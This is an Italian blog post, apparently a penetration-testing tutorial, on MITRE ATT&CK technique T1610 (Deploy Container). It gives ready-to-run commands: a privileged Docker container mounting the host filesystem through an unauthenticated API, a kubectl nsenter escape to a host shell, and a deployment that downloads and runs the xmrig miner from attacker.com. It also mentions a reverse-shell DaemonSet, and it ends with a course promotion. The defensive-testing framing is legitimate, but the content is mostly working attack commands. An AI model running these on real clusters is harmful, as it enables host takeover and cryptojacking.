Deploy Container: Esecuzione Silenziosa in Ambienti Containerizzati (T1610)
La tecnica Deploy Container rappresenta un metodo sofisticato per eseguire codice malevolo o aggirare i controlli di sicurezza attraverso il deployment di container compromessi. Gli attaccanti sfruttano le API di orchestrazione per distribuire container con configurazioni permissive o immagini malevole.
Questa tecnica si manifesta in due tattiche principali: TA0002 (Execution) per l'esecuzione diretta di malware containerizzato e TA0005 (Defense Evasion) per aggirare i controlli esistenti. Nella kill chain, appare tipicamente nelle fasi di exploitation e post-exploitation, permettendo sia l'esecuzione iniziale che la persistenza nell'ambiente target.
L'impatto è concentrato ma significativo: 1 gruppo APT documentato (TeamTNT) e 3 software malevoli specializzati dimostrano come questa tecnica sia utilizzata principalmente in attacchi mirati a infrastrutture cloud e Kubernetes.
Per testare la vulnerabilità dell'ambiente ai deployment malevoli, inizia con l'enumerazione delle API esposte. In Docker, verifica l'accesso non autenticato: curl -s http://target:2375/version. Se ricevi una risposta JSON, l'API è esposta senza autenticazione.
Il deployment di un container malevolo segue una sequenza precisa. Prima crea il container con privilegi elevati:
docker -H tcp://target:2375 create --privileged --pid=host -v /:/hostroot ubuntu:latest /bin/bash
Poi avvialo e ottieni una shell interattiva:
docker -H tcp://target:2375 start -ai [container_id]
In ambienti Kubernetes, sfrutta configurazioni permissive dei ServiceAccount. Peirates automatizza l'attacco montando il filesystem dell'host:
kubectl run pwn --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"securityContext":{"privileged":true}}]}}'
Per simulare l'approccio di TeamTNT, deploya un container che scarica ed esegue un cryptominer. Crea un deployment malevolo che bypassa le network policy:
kubectl create deployment miner --image=alpine -- /bin/sh -c "wget http://attacker.com/xmrig && chmod +x xmrig && ./xmrig"
Testa anche il deployment attraverso dashboard esposti. Molti cluster Kubernetes espongono il dashboard senza autenticazione su porta 8001. Verifica con: curl -k https://target:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/
Per un test completo, simula il comportamento di Doki creando un container che establisce una reverse shell persistente al boot del nodo attraverso DaemonSet malevoli.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo